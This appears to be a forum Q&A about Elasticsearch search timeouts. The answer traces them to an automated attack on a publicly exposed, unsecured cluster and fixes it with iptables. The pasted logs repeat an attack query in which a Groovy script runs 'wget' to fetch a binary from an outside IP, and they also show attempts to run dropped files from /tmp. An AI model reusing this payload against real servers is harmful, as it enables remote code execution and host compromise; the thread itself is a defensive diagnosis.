Elasticsearch times out on every search request until restart

Question

This is kind of awkward since the whole purpose of elasticsearch is to search, however somehow mine has lost it's ability to do so.

My Configuration

To the point:

I got 2 Instances of Elasticsearch, under a load balancer.

I got 3 Instances of MongoDB configured with replica set.

I have river installed (don't know if it has something to do with it), This one: https://github.com/richardwilly98/elasticsearch-river-mongodb/wiki

Synopsis of the problem

Elasticsearch is up for 5 days, and the full size of it's indices are less than 1MB.

Elasticsearch has worked for 4 days in a row without a problem, really fast.

All other requests perform fine, except for GET 'http://codename.es.domain:9200/_search'

Any kind of search.

More Information

Cluster Health is fine. MongoDB is fine. I can create new index and index more documents.

Basically it doesn't even timeout unless I stop the request.

From the NodeJS using official elasticsearch client : https://www.npmjs.com/package/elasticsearch

I receive:

{
  "error": {
      "message": "Request Timeout after 30000ms"
    }
}

Logs that created the problem

[

2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][3], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][3]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script458.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [events][1], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][1]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script457.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script460.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][0], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.search.SearchParseException: [events][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][2], node[Oq7k-P26RoabKCjZ_YmlIw], [R], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][2]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,809][DEBUG][action.search.type       ] [Saint Anna] [events][4], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238]
org.elasticsearch.search.SearchParseException: [events][4]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script462.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,811][DEBUG][action.search.type       ] [Saint Anna] All shards failed for phase: [query]

Apparently these logs below occurred earlier, and at some point this happened:

[2015-04-30 05:05:59,811][DEBUG][action.search.type       ] [Saint Anna] All shards failed for phase: [query]

After that nothing has worked until a restart.

Current Logs

[2015-04-30 08:14:02,174][DEBUG][action.search.type       ] [Saint Anna] [4496] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory]; 
    at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
    at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
    at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
    at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
[2015-04-30 08:14:03,021][DEBUG][action.search.type       ] [Saint Anna] [4512] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory]; 
    at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
    at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
    at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
    at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)

Really bad solution to the problem

The only way to get this up and running back is a restart.

This problem has occurred already when we had our previous host.

We had to perform a restart to the elasticsearch every three days, but it kept going worse until we had to restart every hour.

I'm trying to avoid that scenario, any suggestions?

Answer 1

Problem solved:

tl;dr:

Cause: A robotic attack on our servers who were un-secured.

According to an article posted by elasticsearch:

https://www.elastic.co/blog/scripting-security/

1. Don’t run Elasticsearch open to the public

Action taken: We added iptables rules to our puppet server to apply all of our elasticsearch servers.

We did that mistake and unfortunately we paid the price. We are back and running right now.

Investigation - Longer Part

Well according to the logs, I found something very suspicious

[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

I'll trim down the major part:

exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")

This is the form of a robot hack, since we have no one named xiao or we do not host our servers in China (According to GEO-IP), we suspected this line.

According to the article mentioned above:

We have recently seen malicious users taking advantage of publicly available Elasticsearch servers to gain access to the host systems. There are a few ways to monitor to see if you have been affected by this security breach.

The most recent attack is generating Elasticsearch logs similar to the following:

[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.

You should also monitor for abnormal system load and perform a thorough audit of your system.

Make sure that if you detect any exploited system that you take the steps described above to secure your Elasticsearch nodes once you have removed or re-installed the affected systems.

The hacker applied some nasty queries who made our elasticsearch stop functioning.

We restarted our servers and added Iptables, and we are back in business.